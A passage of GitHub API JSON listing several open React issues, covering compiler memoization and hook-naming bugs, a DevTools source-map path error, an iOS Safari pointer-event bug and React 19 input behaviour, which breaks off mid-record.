"reactions": { "url": "https://api.github.com/repos/facebook/react/issues/29902/reactions", "total_count": 2, "+1": 2, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/29900", "id": 2353897575, "node_id": "I_kwDOAJy2Ks6MTaBn", "number": 29900, "title": "[Compiler Bug]: Constants or properties named `use*` trigger compiler errors re: hooks", "user": { "login": "aaronmw", "id": 1236267, "node_id": "MDQ6VXNlcjEyMzYyNjc=", "avatar_url": "https://avatars.githubusercontent.com/u/1236267?v=4", "gravatar_id": "", "url": "https://api.github.com/users/aaronmw", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 180616330, "node_id": "MDU6TGFiZWwxODA2MTYzMzA=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20React%20Compiler", "name": "Component: React Compiler", "color": "bfdadc", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 2, "created_at": "2024-06-14T18:39:33Z", "updated_at": "2024-06-16T04:10:15Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\r\n\r\n- [ ] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\r\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\r\n- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)\r\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\r\n\r\n### Link to repro\r\n\r\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhHCA7MAXABFMBAYQENCxcBeXAbQB0NdcByAcQgEsMBzXbCPgAsEuHBBgJmAGgZNmABQ5wA1l15QADkJGqAJmGmyWAdRLY4gtbgAqANWYMAugwbosebJbABJMAGUSADMEACEoPGpgIwJiMgQwZFojOQAjcKEOCkzcDAhsB0ZcZwwAXxcMBAAPDXE8XQRAkigAGzxAqAw4bA5MXABZAE8AQQ0NAAoASlwowolsWEYAHgA+ZOmY0nIAOgBbEnGNuKpl3DG1pkXdDgA3XGUEAcpgQ8IS1cKmT-XCTYQyj8+iwA9Fdru8vhMJv81sBPJlfAFgmFsFsXvFdvsxmjjqdzrhLjc7g8nmi3nimM8fnF-l8LiCbuDPpCafige9-iASkA\r\n\r\n### Repro steps\r\n\r\nTry to reference an object or property with a name starting with `use*`. Seems it could at least narrow its scope to functions named `use*`?\r\n\r\n### How often does this bug happen?\r\n\r\nEvery time\r\n\r\n### What version of React are you using?\r\n\r\n^19.0.0-rc-f994737d14-20240522", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/29900/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/29895", "id": 2352937421, "node_id": "I_kwDOAJy2Ks6MPvnN", "number": 29895, "title": "[DevTools Bug]: Open in editor , Path not found error ", "user": { "login": "a-c-sreedhar-reddy", "id": 16081083, "node_id": "MDQ6VXNlcjE2MDgxMDgz", "avatar_url": "https://avatars.githubusercontent.com/u/16081083?v=4", "gravatar_id": "", "url": "https://api.github.com/users/a-c-sreedhar-reddy", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 710573595, "node_id": "MDU6TGFiZWw3MTA1NzM1OTU=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20Developer%20Tools", "name": "Component: Developer Tools", "color": "fbca04", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 3, "created_at": "2024-06-14T09:22:54Z", "updated_at": "2024-09-26T09:45:41Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### Website or app\n\nI am using a local app\n\n### Repro steps\n\n1. Open devtools\r\n2. Select a component\r\n3. Click open in editor\r\n4. \r\n```\r\nThe path '/data:application/json;base64,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QUFBO0FBQUE7QUFBQTtBQUFBO0FBQUE7QUFBQTtBQUFBO0FBQUEsTUFzQ0EsS0F2Q0Y7QUFBQTtBQUFBO0FBQUE7QUFBQSxhQXdDQTtBQUFBLElBRUo7QUFBQSxJQUFDO0FBQUE7QUFBQTtBQUFBLGNBL0NrQjNDLFdBQVc7QUFBQTtBQUFBO0FBZ0RoQyxHQUFDO0FBQUEsVUFoRG9CQSxXQUFXO0FBQUE7QUFnRDlCNEMsTUF0RVd6QjtBQXdFYixlQUFlQTtBQUFXLElBQUFELElBQUFHLEtBQUF1QjtBQUFBQyxhQUFBM0IsSUFBQTtBQUFBMkIsYUFBQXhCLEtBQUE7QUFBQXdCLGFBQUFELEtBQUEiLCJuYW1lcyI6WyJtZW1vIiwidXNlSXNNb2JpbGUiLCJUZXh0UyIsIlZpZXciLCJWaWV3VkNlbnRlciIsIlJlYWN0Q29tcG9uZW50IiwiRGVza3RvcExvZ29TVkciLCJMb2dvU1ZHIiwiTW9iaWxlTG9nb1NWRyIsIkhlYWRlckxvZ29Db250YWluZXIiLCJzdHlsZWQiLCJoZWlnaHQiLCJkaXNwbGF5IiwiYWxpZ25JdGVtcyIsImN1cnNvciIsInZhcmlhbnRzIiwic3RhdGUiLCJlbmFibGVkIiwiZGlzYWJsZWQiLCJfYyIsIkhlYWRlckxvZ28iLCJfcyIsIl9jMiIsInR5cGUiLCJzaG93SWNvbk9ubHkiLCJvbkxvZ29DbGljayIsImhhbmRsZUxvZ29DbGljayIsImhhbmRsZUxvZ29Nb3VzZURvd24iLCJldmVudCIsInByZXZlbnREZWZhdWx0IiwibWV0YUtleSIsImJ1dHRvbiIsIndpbmRvdyIsIm9wZW4iLCJpc01vYmlsZSIsImlzVjIwUHJvbXB0UGFnZSIsImlubmVyV2lkdGgiLCJqdXN0aWZ5Q29udGVudCIsImdhcCIsImNvbG9yIiwiZm9udEZhbWlseSIsImZvbnRTaXplIiwiZm9udFdlaWdodCIsImxpbmVIZWlnaHQiLCJ0ZXh0V3JhcCIsIl9jMyIsIiRSZWZyZXNoUmVnJCJdLCJzb3VyY2VzIjpbIkhlYWRlckxvZ28udHN4Il0sInNvdXJjZXNDb250ZW50IjpbImltcG9ydCB7IHN0eWxlZCB9IGZyb20gXCJAc3RpdGNoZXMvcmVhY3RcIjtcbmltcG9ydCB7IG1lbW8gfSBmcm9tIFwicmVhY3RcIjtcblxuaW1wb3J0IHsgdXNlSXNNb2JpbGUgfSBmcm9tIFwiaG9va3MvdXNlSXNNb2JpbGVcIjtcblxuaW1wb3J0IHsgVGV4dFMsIFZpZXcsIFZpZXdWQ2VudGVyIH0gZnJvbSBcImNvbXBvbmVudHMvQ29yZVwiO1xuXG5pbXBvcnQgeyBSZWFjdENvbXBvbmVudCBhcyBEZXNrdG9wTG9nb1NWRyB9IGZyb20gXCJpY29ucy9kZXNrdG9wLWxvZ28uc3ZnXCI7XG5pbXBvcnQgeyBSZWFjdENvbXBvbmVudCBhcyBMb2dvU1ZHIH0gZnJvbSBcImljb25zL2xvZ28uc3ZnXCI7XG5pbXBvcnQgeyBSZWFjdENvbXBvbmVudCBhcyBNb2JpbGVMb2dvU1ZHIH0gZnJvbSBcImljb25zL21vYmlsZS1sb2dvLnN2Z1wiO1xuXG5leHBvcnQgaW50ZXJmYWNlIEhlYWRlckxvZ29Qcm9wcyB7XG4gIHR5cGU6IFwiYmx1ZVwiIHwgXCJwdXJwbGVcIjtcbiAgb25Mb2dvQ2xpY2s/OiAoKSA9PiB2b2lkO1xuICBvbkxvZ29Db21tYW5kQ2xpY2s/OiAoKSA9PiB2b2lkO1xuICBkaXNhYmxlZD86IGJvb2xlYW47XG4gIHNob3dJY29uT25seT86IGJvb2xlYW47XG59XG5cbmNvbnN0IEhlYWRlckxvZ29Db250YWluZXIgPSBzdHlsZWQoVmlldywge1xuICBoZWlnaHQ6IFwiMTAwJVwiLFxuXG4gIGRpc3BsYXk6IFwiZmxleFwiLFxuICBhbGlnbkl0ZW1zOiBcImNlbnRlclwiLFxuXG4gIGN1cnNvcjogXCJwb2ludGVyXCIsXG5cbiAgdmFyaWFudHM6IHtcbiAgICBzdGF0ZToge1xuICAgICAgZW5hYmxlZDoge1xuICAgICAgICBjdXJzb3I6IFwicG9pbnRlclwiLFxuICAgICAgfSxcbiAgICAgIGRpc2FibGVkOiB7XG4gICAgICAgIGN1cnNvcjogXCJub3QtYWxsb3dlZFwiLFxuICAgICAgfSxcbiAgICB9LFxuICB9LFxufSk7XG5cbmV4cG9ydCBjb25zdCBIZWFkZXJMb2dvOiBSZWFjdC5GQzxIZWFkZXJMb2dvUHJvcHM+ID0gbWVtbyhcbiAgKHsgdHlwZSwgZGlzYWJsZWQsIHNob3dJY29uT25seSwgb25Mb2dvQ2xpY2sgfTogSGVhZGVyTG9nb1Byb3BzKSA9PiB7XG4gICAgY29uc3QgaGFuZGxlTG9nb0NsaWNrID0gKCkgPT4ge1xuICAgICAgaWYgKGRpc2FibGVkKSB7XG4gICAgICAgIHJldHVybjtcbiAgICAgIH1cblxuICAgICAgb25Mb2dvQ2xpY2s/LigpO1xuICAgIH07XG5cbiAgICBjb25zdCBoYW5kbGVMb2dvTW91c2VEb3duID0gKFxuICAgICAgZXZlbnQ6IFJlYWN0Lk1vdXNlRXZlbnQ8SFRNTERpdkVsZW1lbnQsIE1vdXNlRXZlbnQ+LFxuICAgICkgPT4ge1xuICAgICAgZXZlbnQucHJldmVudERlZmF1bHQoKTtcbiAgICAgIGlmIChkaXNhYmxlZCkge1xuICAgICAgICByZXR1cm47XG4gICAgICB9XG4gICAgICBpZiAoZXZlbnQubWV0YUtleSB8fCBldmVudC5idXR0b24gPT09IDEpIHtcbiAgICAgICAgd2luZG93Lm9wZW4oXCIvXCIsIFwiX2JsYW5rXCIpO1xuICAgICAgfVxuICAgIH07XG5cbiAgICBjb25zdCBpc01vYmlsZSA9IHVzZUlzTW9iaWxlKCk7XG5cbiAgICBjb25zdCBpc1YyMFByb21wdFBhZ2UgPSB3aW5kb3cuaW5uZXJXaWR0aCA+PSA2NDA7XG5cbiAgICByZXR1cm4gKFxuICAgICAgPD5cbiAgICAgICAgPEhlYWRlckxvZ29Db250YWluZXJcbiAgICAgICAgICBvbkNsaWNrPXtoYW5kbGVMb2dvQ2xpY2t9XG4gICAgICAgICAgb25Nb3VzZURvd249e2hhbmRsZUxvZ29Nb3VzZURvd259XG4gICAgICAgICAgc3RhdGU9e2Rpc2FibGVkID8gXCJkaXNhYmxlZFwiIDogXCJlbmFibGVkXCJ9XG4gICAgICAgID5cbiAgICAgICAgICA8Vmlld1ZDZW50ZXI+XG4gICAgICAgICAgICB7c2hvd0ljb25Pbmx5ID8gKFxuICAgICAgICAgICAgICA8TG9nb1NWRyB3aWR0aD1cIjI1cHhcIiBoZWlnaHQ9XCIyNXB4XCIgLz5cbiAgICAgICAgICAgICkgOiBpc01vYmlsZSA/IChcbiAgICAgICAgICAgICAgPE1vYmlsZUxvZ29TVkcgaGVpZ2h0PVwiMjdweFwiIC8+XG4gICAgICAgICAgICApIDogaXNWMjBQcm9tcHRQYWdlID8gKFxuICAgICAgICAgICAgICA8Vmlld1xuICAgICAgICAgICAgICAgIGNzcz17e1xuICAgICAgICAgICAgICAgICAgZGlzcGxheTogXCJmbGV4XCIsXG4gICAgICAgICAgICAgICAgICBqdXN0aWZ5Q29udGVudDogXCJjZW50ZXJcIixcbiAgICAgICAgICAgICAgICAgIGFsaWduSXRlbXM6IFwiY2VudGVyXCIsXG4gICAgICAgICAgICAgICAgICBnYXA6IDgsXG4gICAgICAgICAgICAgICAgfX1cbiAgICAgICAgICAgICAgPlxuICAgICAgICAgICAgICAgIDxMb2dvU1ZHIGhlaWdodD17MjB9IHdpZHRoPXsyMH0gLz5cbiAgICAgICAgICAgICAgICA8VGV4dFNcbiAgICAgICAgICAgICAgICAgIGNzcz17e1xuICAgICAgICAgICAgICAgICAgICBjb2xvcjogXCIkd2hpdGVcIixcbiAgICAgICAgICAgICAgICAgICAgZm9udEZhbWlseTogXCJJbnRlclwiLFxuICAgICAgICAgICAgICAgICAgICBmb250U2l6ZTogMTgsXG4gICAgICAgICAgICAgICAgICAgIGZvbnRXZWlnaHQ6IDcwMCxcbiAgICAgICAgICAgICAgICAgICAgbGluZUhlaWdodDogXCIyNHB4XCIsXG5cbiAgICAgICAgICAgICAgICAgICAgdGV4dFdyYXA6IFwibm93cmFwXCIsXG4gICAgICAgICAgICAgICAgICB9fVxuICAgICAgICAgICAgICAgID5cbiAgICAgICAgICAgICAgICAgIGludmlkZW8gQUlcbiAgICAgICAgICAgICAgICA8L1RleHRTPlxuICAgICAgICAgICAgICA8L1ZpZXc+XG4gICAgICAgICAgICApIDogKFxuICAgICAgICAgICAgICA8RGVza3RvcExvZ29TVkcgaGVpZ2h0PVwiMzdweFwiIC8+XG4gICAgICAgICAgICApfVxuICAgICAgICAgIDwvVmlld1ZDZW50ZXI+XG4gICAgICAgIDwvSGVhZGVyTG9nb0NvbnRhaW5lcj5cbiAgICAgIDwvPlxuICAgICk7XG4gIH0sXG4pO1xuXG5leHBvcnQgZGVmYXVsdCBIZWFkZXJMb2dvO1xuIl0sImZpbGUiOiIvVXNlcnMvYS1jLXNyZWVkaGFyLXJlZGR5L2ludmlkZW8vaXYtcHJvL2l2LXByby13ZWIvd2ViL3NyYy9jb21wb25lbnRzL0hlYWRlci9IZWFkZXJMb2dvLnRzeCJ9/HeaderLogo.tsx:41' does not exist on this computer.\r\n```\n\n### How often does this bug happen?\n\nEvery time\n\n### DevTools package (automated)\n\n_No response_\n\n### DevTools version (automated)\n\n_No response_\n\n### Error message (automated)\n\n_No response_\n\n### Error call stack (automated)\n\n_No response_\n\n### Error component stack (automated)\n\n_No response_\n\n### GitHub query string (automated)\n\n_No response_", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/29895/reactions", "total_count": 2, "+1": 2, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/29892", "id": 2352017609, "node_id": "I_kwDOAJy2Ks6MMPDJ", "number": 29892, "title": "[Compiler Bug]: Compiler incorrectly removes memoization of an expensive operation in useMemo", "user": { "login": "issacgerges", "id": 44379112, "node_id": "MDQ6VXNlcjQ0Mzc5MTEy", "avatar_url": "https://avatars.githubusercontent.com/u/44379112?v=4", "gravatar_id": "", "url": "https://api.github.com/users/issacgerges", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 155984160, "node_id": "MDU6TGFiZWwxNTU5ODQxNjA=", "url": "https://api.github.com/repos/facebook/react/labels/Status:%20Unconfirmed", "name": "Status: Unconfirmed", "color": "d4c5f9", "default": false, "description": "A potential issue that we haven't yet confirmed as a bug" }, "2": { "id": 180616330, "node_id": "MDU6TGFiZWwxODA2MTYzMzA=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20React%20Compiler", "name": "Component: React Compiler", "color": "bfdadc", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 5, "created_at": "2024-06-13T20:40:41Z", "updated_at": "2024-07-31T11:17:05Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "### What kind of issue is this?\r\n\r\n- [X] React Compiler core (the JS output is incorrect, or your app works incorrectly after optimization)\r\n- [ ] babel-plugin-react-compiler (build issue installing or using the Babel plugin)\r\n- [ ] eslint-plugin-react-compiler (build issue installing or using the eslint plugin)\r\n- [ ] react-compiler-healthcheck (build issue installing or using the healthcheck script)\r\n\r\n### Link to repro\r\n\r\nhttps://playground.react.dev/#N4Igzg9grgTgxgUxALhAMygOzgFwJYSYAEUYCAsgJ4ASEEA1gBQCGAlEcADrFFyFg4iaOkQC8JMuQQBbCI0btRAPg7ci63v0GRpCHAAs8mAOZiiCAB4AHBJjB4AbghasA3Go0w9sYsyIBqIh09QxN3HgBfABoiAG1mAF1WDy8cHyE6cIiQCKA\r\n\r\n### Repro steps\r\n\r\nThe compiler seems to incorrectly erase memoization of possibly expensive operations using `useMemo` in some cases.\r\n\r\nCompare the compiler output of the two similar examples, in the first all memoization will be replaced, in the 2nd it will be correctly added in\r\n\r\n```\r\n// all memoization is removed, incorrectly\r\nfunction useMyHook(a) {\r\n const foo = useMemo(() => {\r\n const something = expensive(a);\r\n return a + something;\r\n }, [a])\r\n return foo;\r\n}\r\n\r\n```\r\n\r\n```\r\n// memoization is preserved/added, correctly\r\nfunction useMyHook(a) {\r\n const foo = useMemo(() => {\r\n const something = expensive(a);\r\n return something;\r\n }, [a])\r\n return foo;\r\n}\r\n\r\n```\r\n\r\nI believe this is a byproduct of how memoization is dependent on the `return` value.\r\n\r\nAnother side effect of that decision (although already a rule break) is that someone incorrectly using `useMemo` instead of `useEffect` would likely force that effect to run every render (regardless of their deps array that would normally prevent it)\r\n\r\n\r\n\r\n### How often does this bug happen?\r\n\r\nEvery time\r\n\r\n### What version of React are you using?\r\n\r\nv17.0.2", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/29892/reactions", "total_count": 0, "+1": 0, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/29890", "id": 2351729699, "node_id": "I_kwDOAJy2Ks6MLIwj", "number": 29890, "title": "Bug: onPointerDown not called when rendered in 'display: contents' root", "user": { "login": "V3RON", "id": 8137511, "node_id": "MDQ6VXNlcjgxMzc1MTE=", "avatar_url": "https://avatars.githubusercontent.com/u/8137511?v=4", "gravatar_id": "", "url": "https://api.github.com/users/V3RON", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 127893911, "node_id": "MDU6TGFiZWwxMjc4OTM5MTE=", "url": "https://api.github.com/repos/facebook/react/labels/Component:%20DOM", "name": "Component: DOM", "color": "fef2c0", "default": false, "description": null } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 5, "created_at": "2024-06-13T17:45:37Z", "updated_at": "2025-01-02T09:54:09Z", "closed_at": null, "assignee": null, "author_association": "CONTRIBUTOR", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "`onPointerDown` listeners are not called in iOS Safari when a React application is rendered within an element that has the `display: contents` CSS rule. This issue seems to be specific to iOS, as it works fine on macOS and Windows.\r\n\r\nThis bug was discovered through a report in the Astro framework. A user noted that a React component became unclickable after a View Transition, which Astro emulates using JavaScript. Upon investigation, I traced the issue to elements with the `display: contents` rule.\r\n\r\nThe issue may be related to the `trapClickOnNonInteractiveElement` hack. When a fake `pointerdown` listener is added, the bug disappears and everything works correctly. However, I haven't found any documentation on this behavior, so this is just a hypothesis.\r\n\r\nReact version: 18.3.1\r\n\r\n## Steps To Reproduce\r\n\r\nRender React component with in an element with `display: contents` applied. Try clicking the button in iOS Safari.\r\n\r\nSee [this page](https://v3ron.github.io/react-pointer-down-ios-bug/) for reproduction.\r\nSee [this repository](https://github.com/V3RON/react-pointer-down-ios-bug) for source code.\r\n\r\n## The current behavior\r\n\r\n`onPointerDown` listener is not called\r\n\r\n## The expected behavior\r\n\r\n`onPointerDown` listener should be called\r\n", "closed_by": null, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/29890/reactions", "total_count": 9, "+1": 9, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": null, "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/29862", "id": 2347114447, "node_id": "I_kwDOAJy2Ks6L5h_P", "number": 29862, "title": "[React 19] Controlled number input does not update defaultValue when value prop has changed", "user": { "login": "BrendonSled", "id": 1565184, "node_id": "MDQ6VXNlcjE1NjUxODQ=", "avatar_url": "https://avatars.githubusercontent.com/u/1565184?v=4", "gravatar_id": "", "url": "https://api.github.com/users/BrendonSled", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 40929151, "node_id": "MDU6TGFiZWw0MDkyOTE1MQ==", "url": "https://api.github.com/repos/facebook/react/labels/Type:%20Bug", "name": "Type: Bug", "color": "b60205", "default": false, "description": null }, "1": { "id": 6688277426, "node_id": "LA_kwDOAJy2Ks8AAAABjqcDsg", "url": "https://api.github.com/repos/facebook/react/labels/React%2019", "name": "React 19", "color": "263258", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 6, "created_at": "2024-06-11T19:15:35Z", "updated_at": "2024-09-25T15:18:31Z", "closed_at": null, "assignee": null, "author_association": "NONE", "type": null, "active_lock_reason": null, "sub_issues_summary": { "total": 0, "completed": 0, "percent_completed": 0 }, "issue_dependencies_summary": { "blocked_by": 0, "total_blocked_by": 0, "blocking": 0, "total_blocking": 0 }, "body": "## Summary\r\n\r\nControlled inputs with the `type=number` are not setting the `defaultValue` when the value state is altered. This causes the state and value to become out of sync when a form is reset (for instance after a form action is sent).\r\n\r\n\"Screenshot\r\n\r\n\r\nhttps://codesandbox.io/p/github/BrendonSled/react-19-controlled-input-number-bug/", "closed_by": { "login": "github-actions[bot]", "id": 41898282, "node_id": "MDM6Qm90NDE4OTgyODI=", "avatar_url": "https://avatars.githubusercontent.com/in/15368?v=4", "gravatar_id": "", "url": "https://api.github.com/users/github-actions%5Bbot%5D", "type": "Bot", "user_view_type": "public", "site_admin": false }, "reactions": { "url": "https://api.github.com/repos/facebook/react/issues/29862/reactions", "total_count": 3, "+1": 3, "-1": 0, "laugh": 0, "hooray": 0, "confused": 0, "heart": 0, "rocket": 0, "eyes": 0 }, "performed_via_github_app": null, "state_reason": "reopened", "pinned_comment": null, "linked_prs": [] }, { "url": "https://api.github.com/repos/facebook/react/issues/29855", "id": 2346386091, "node_id": "I_kwDOAJy2Ks6L2wKr", "number": 29855, "title": "[React 19] `use` is significantly slower in some scenarios than throwing a Promise", "user": { "login": "phryneas", "id": 4282439, "node_id": "MDQ6VXNlcjQyODI0Mzk=", "avatar_url": "https://avatars.githubusercontent.com/u/4282439?v=4", "gravatar_id": "", "url": "https://api.github.com/users/phryneas", "type": "User", "user_view_type": "public", "site_admin": false }, "labels": { "0": { "id": 6688277426, "node_id": "LA_kwDOAJy2Ks8AAAABjqcDsg", "url": "https://api.github.com/repos/facebook/react/labels/React%2019", "name": "React 19", "color": "263258", "default": false, "description": "" } }, "state": "open", "locked": false, "assignees": {}, "milestone": null, "comments": 23, "created_at": "2024-06-11T13:04:51Z", "updated_at": 